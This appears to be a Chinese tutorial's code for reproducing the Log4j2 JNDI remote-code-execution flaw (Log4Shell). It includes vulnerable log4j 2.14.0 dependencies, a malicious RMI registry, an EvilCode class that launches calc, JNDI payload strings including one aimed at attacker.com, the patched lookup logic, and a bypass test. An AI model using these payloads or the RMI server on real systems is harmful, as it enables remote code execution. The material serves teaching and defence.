<!--log4j2核心包-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.0</version>
            </dependency>
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.0</version>
            </dependency>
            <!--使用yml配置log4j2-->
            <dependency>
                <groupId>com.fasterxml.jackson.dataformat</groupId>
                <artifactId>jackson-dataformat-yaml</artifactId>
                <version>2.12.3</version>
            </dependency>
            <!-- slf4j核心包-->
            <dependency>
                <groupId>org.slf4j</groupId>
                <artifactId>slf4j-api</artifactId>
                <version>1.7.32</version>
            </dependency>
            <!--用于与slf4j保持桥接-->
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-slf4j-impl</artifactId>
                <version>2.14.0</version>
            </dependency>
        <!--log4j2核心包-->

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
 * @Title: 模拟运行存在漏洞log4j2的服务器
 * @ClassName: geektime.log.ServerTest.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class ServerTest {
    private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
    public static void main(String[] args) {
        //有些高版本jdk需要打开此行代码
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        // 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        // ${jndi:rmi//127.0.0.1:1099/evil}，表示通过JNDI Lookup功能，获取rmi//127.0.0.1:1099/evil上的变量内容。
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";
        //正常打印业务日志
        logger.error("username:{}",username);
    }
}

package geektime.log;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Title: 准备好RMI服务端，等待受害服务器访问
 * @ClassName: geektime.log.RMIServer.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class RMIServer {
    public static void main(String[] args) {
        try {
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            //返回的Java对象 第一个参数为包路径
            Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把远程对象注册到RMI注册服务器上，并命名为evil
            registry.bind("evil",referenceWrapper);
            // registry.bind("evil",new EvilCode());
        } catch (RemoteException | AlreadyBoundException | NamingException e) {
            e.printStackTrace();
        }
    }
}

package geektime.log;
import java.io.*;
import java.rmi.Remote;
/**
 * @Title: 执行任意的脚本，目前的脚本会使windows打开计算器
 * @ClassName: geektime.log.EvilCode.java
 * @Description:
 *
 * @Copyright 2020-2021  - Powered By 研发中心
 * @author: 琦彦
 * @date:  2021/12/26 16:23
 * @version V1.0
 */
public class EvilCode  {
    static {
        System.out.println("受害服务器将执行下面命令行");
        Process p;
        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec("calc");
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Reference reference = new Reference("log.EvilCode","log.EvilCode",null);

/**
 * @Title: Log4j2的Lookup功能
 * @ClassName: geektime.log.Log4j2Lookup.java
 * @Description:
 *
 * @Copyright 2020-2021 - Powered By 研发中心
 * @version V1.0
 */
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
    public static void main(String[] args) {
        ThreadContext.put("userName", "琦彦同学,你好");
        LOGGER.error("userName: ${ctx:userName}");
    }
}

16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好

 import org.apache.log4j.Logger;
 import java.io.*;
 import java.sql.SQLException;
 import java.util.*;
 public class VulnerableLog4jExampleHandler implements HttpHandler {
   static Logger log = Logger.getLogger(log4jExample.class.getName());
   /**
    * A simple HTTP endpoint that reads the request's User Agent and logs it back.
    * This is basically pseudo-code to explain the vulnerability, and not a full example.
    * @param he HTTP Request Object
    */
   public void handle(HttpExchange he) throws IOException {
     string userAgent = he.getRequestHeader("user-agent");
     // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
     // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
     log.info("Request User Agent:" + userAgent);
     String response = "<h1>Hello There, " + userAgent + "!</h1>";
     he.sendResponseHeaders(200, response.length());
     OutputStream os = he.getResponseBody();
     os.write(response.getBytes());
     os.close();
   }
 }

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    ......
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        ......
                        return null;
                    }
                    ......
                    if (!allowedClasses.contains(className)) {
                        ......
                        return null;
                    }
                    ......
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

<Configuration>
    <Appenders>
        <Console name="CONSOLE">
            <PatternLayout>
                <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="DEBUG">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2RC1Bypass {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);
    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://127.0.0.1:8888/exp}");
    }
}